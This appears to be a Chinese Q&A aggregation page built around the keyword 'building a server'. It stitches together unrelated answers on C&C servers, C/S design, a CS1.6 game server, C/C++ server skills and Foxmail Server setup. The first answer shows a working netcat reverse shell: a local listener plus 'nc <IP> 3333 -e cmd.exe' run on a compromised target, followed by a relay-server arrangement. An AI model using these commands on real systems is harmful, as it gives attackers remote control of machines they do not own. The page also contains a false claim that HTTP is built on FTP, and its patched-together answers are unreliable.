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c搭建服务器

发布时间: 2022-01-10 02:40:07

‘壹’ 什么是C&C服务器

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。

(1)c搭建服务器扩展阅读

C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

‘贰’ 如何搭建C/S中的服务器端

1、确定客户端和服务端之间采用的序列化和反序列化的交换格式,可以采用的有XML JSON PROTOBUF等等
2、确定了交换格式以后开始编写程序
3、服务端编程大部分都是处理RPC,难点就是在与客户端连接和接收数据这一块
http is base on ftp:

http app layer
--------
ftp translation layer.
如果我的回答没帮助到您,请继续追问。

‘叁’ 如何使用c 在linux下搭建服务器

我这里提出的开发环境的只是我个人喜欢的,并不一定是最好的,仅供参考。以下都以我的系统为准: Fedora Core2, gnome。 1:linux下的 软件安装。 在linux下安装有两种方法:自己编译源代码安装和用RPM安装。一般软件都提供了RPM包下载

‘肆’ cs1.6服务器的具体搭建

首先在CS的文件夹里面找到hlds.exe 创建一个快捷方式 查看它的属性 在目标那里加入D:\\Cs1.6中文版\\hlds.exe -game cstrike -port 27015 +maxplayers 32 +map de_st2 -console +localinfo mm_gamedll dlls/hldsmp.dll
其中D:\\Cs1.6中文版\\hlds.exe是你hlds.exe的路径~别弄错咯 -port是你服务器的端口
+maxplayers 是服务器能容纳的最大玩家数 不能超过32 如果是一般混战服务器 建议设置为22人 为速度考虑嘛~还有一个原因就是de_nuke de_prodigy等地图是不能加满32人的 改过的地图能加满,但是暂时我手上还没有0_0
改好上面这些后 还要覆盖一个
nosteam的小补丁 这个东东我随后传上来 下了解压后把里面的那个小dll文件 改名为swds.dll 然后把CS文件夹里的原来那个swds.dll覆盖了就OK了

随后就是修改服务器的某些设置
在cstrike文件夹里找到server.cfg文件夹 你可以在这里修改你服务器的名字 和一些参数 按照自己的需要来设置咯~~~~~呵呵 其中rcon_pasword 是服务器的OP sv_password 是进入服务器的密码 别搞混咯0_0

在liblist.cfg中 可以看到这样一句 secure "1" 这里决定你的服务器是否使用VAC反作弊系统 默认的是1 建议设置为0 这里顺便鄙视一下那些作弊猪 我日 VAC反作弊系统的服务器作弊的太多了 还是用C-D吧~
在网上下栽一个C-D的服务器端(随后我也有上传)解压后复制到cstrlke子目录下的addons文件夹中 名字叫 cdeath 然后在 addons目录中找到metamod文件夹 打开 找到一个叫plugins.ini的文件 在里面添加上
win32 addons/cdeath/cdmod.dll
这样是启动了CD反作弊系统 注意必须是 secure 设置为0时才能这样~
在上面这个文件夹里还能看到如下语句
//win32 addons/wwcl/dlls/pcawwclconfig_mm.dll
//linux addons/wwcl/dlls/pcawwclconfig_mm_i386.so
这是启动脚本检测 去掉前面的//就启动了 建议使用 win32是针对win系统的 linux是针对linux服务器的 自己看着用咯

再就是插件的安装
一个服务器如果进去是个白版服务器 什么趣味都没有 那就称不上是快乐CS拉~ 目前这些插件的功能有排名 死亡播放MP3 等多种功能 还有很多趣味性很强的功能咯 比如弹道显示 伤害显示 炸弹丢出痕迹 等等 看你自己的选择
如果单一只要排名功能 推荐 statsme 插件 简单好用 不过个人觉得还是使用功能强大的amxx拉!!!! 几乎包含了所有的插件功能 懒汗的选择哈-_-!
amxx随后我有上传
解压后把它丢在addons文件夹下 再到plugins.ini仿照上面添加CD服务器端的方法添加语句~就OK拉~
下面的事情就是进入amxx里面 按照个人需要设置插件各功能 特效的开关与否

最后一步:请用你的鼠标双击hlds.exe

希望你能看明白..看不明白在网上搜索一下..

有很多教程..

‘伍’ 怎么在C/C++下建立一个Http服务器

这个不清楚,一般都用的是小鸟云服务器,稳定性以及速度很快感觉挺好的。

‘陆’ 自己如何搭建服务器。

1、打开控制面板,选择并进入“程序”,双击“打开或关闭Windows服务”,在弹出的窗口中选择“Internet信息服务”下面所有地选项,点击确定后,开始更新服务。

(6)c搭建服务器扩展阅读:

入门级服务器所连的终端比较有限(通常为20台左右),况且在稳定性、可扩展性以及容错冗余性能较差,仅适用于没有大型数据库数据交换、日常工作网络流量不大,无需长期不间断开机的小型企业。

不过要说明的一点就是目前有的比较大型的服务器开发、生产厂商在后面我们要讲的企业级服务器中也划分出几个档次,其中最低档的一个企业级服务器档次就是称之为"入门级企业级服务器",这里所讲的入门级并不是与我们上面所讲的"入门级"具有相同的含义,不过这种划分的还是比较少。

还有一点就是,这种服务器一般采用Intel的专用服务器CPU芯片,是基于Intel架构(俗称"IA结构")的,当然这并不是一种硬性的标准规定,而是由于服务器的应用层次需要和价位的限制。

‘柒’ C/C++做服务器需要学习什么样的技术

服务器所用到的知识:

  • TCP/UDP,最基本的

  • 并发——你可以选择使用select、poll,或者是多线程、多进程

  • 如果你使用多线程,那么就必须使用同步技术——信号量、互斥体、条件变量的一种或几种,并且对于多线程技术,你还需要考虑使用进行线程分离与合并,

  • 如果你使用了多进程,那么同步技术就不是你需要考虑的了,你需要考虑的是进程相关的问题了,你是使用fork还是vfork,你该如何处理客户端的请求,如何处理客户端断开连接后保证能够处理完数据并且没有僵尸进程产生,你还需要考虑高并发的问题

  • 你发送接受数据的时候,采用何种方式,是阻塞的还是非阻塞的,还有连接超时、重传等问题

  • 你是选择TCP还是UDP,如果选择UDP你可得忙了,需要你自己去进行重传验证,模拟TCP的三次握手,保证数据不会丢失,保证数据的有序性

  • 还有其他很多需要你考虑的,以上都是指在Linux下的C++,本人对windows C++不了解

  • 推荐书目:UNIX高级环境编程,UNIX网络编程,卷一。C++只不过是你使用这些技术的方式,不管你使用C还是C++,你都可以使用从这两本书中学习到很多有用的知识,但是不能保证你就可以写出高质量的服务器程序。

‘捌’ c 做服务器要学多久

如果你学过其他语言的编程,学c的话估计3个月左右,如果没结果编程,估计要半年左右吧。

如果解决了您的问题请采纳!
如果未解决请继续追问

‘玖’ 如何用C语言开发一个通用web服务器

用C语言开发WEB,可以用C++BUILDER6,称ISAPI,一般人可能做不起来,有点麻烦;
唯一是速度很快,别人看不到源码,掌握了编程套路,也可以开发应用;
缺点:
1。不是解释性语言,做的WEB调试非常麻烦;现在做WEB开发的,用C#、JAVA较多;都是解释性的语言;
2。因为是.DLL的二进制代码,一般商业网站不给予运行的环境,因为网站服务器会被你可能搞瘫,安全性得不到保障;所以,你得自备网页服务器;
3。得不到技术支持,因为没几个人会这种开发;

‘拾’ 如何搭建一个基础的Email C&C服务器

Foxmail Server(以下简称FMS)可以搭建出功能强大的邮件服务器。本文以FMS For Windows 2.0为例,从其设置、管理、收发邮件等几方面入手为大家简单介绍该软件的使用方法及注意事项。 ★安装和设置邮件服务器

FMS2.0要求操作系统Windows NT4.0(Service Pack4以上)和IIS5.0及以上版本的支持才能实现全部功能,并且还应以Administrator身份登录计算机。我们的讨论则是基于Windows Server 2000+IIS5.0的试验环境。FMS的安装过程比较简单,这里不再赘述,我们重点谈谈它的设置过程。

一、设置域名和管理员口令

程序安装完毕后,自动进入设置向导。单击“下一步”按钮,即可进入“应用程序设置”窗口。在这里我们可以设置用户信箱的域名(即用户E-mail地址中@字符的后缀部分)和管理员口令。您可以向域名管理机构申请合法的域名。但是如果通信范围仅限于局域网内部,也可以通过内部的DNS服务器建立一个邮件服务器专用的域名。为叙述方便,我们使用了本机的机器名作为域名(在命令行窗口中键入“hostname”命令就能得到本机的机器名),本例中的机器名为CHHUIAN。然后设置系统管理员口令和邮箱密码以及域管理员口令和邮箱密码,以后在管理系统和域时会用到两个管理员口令(图1)。

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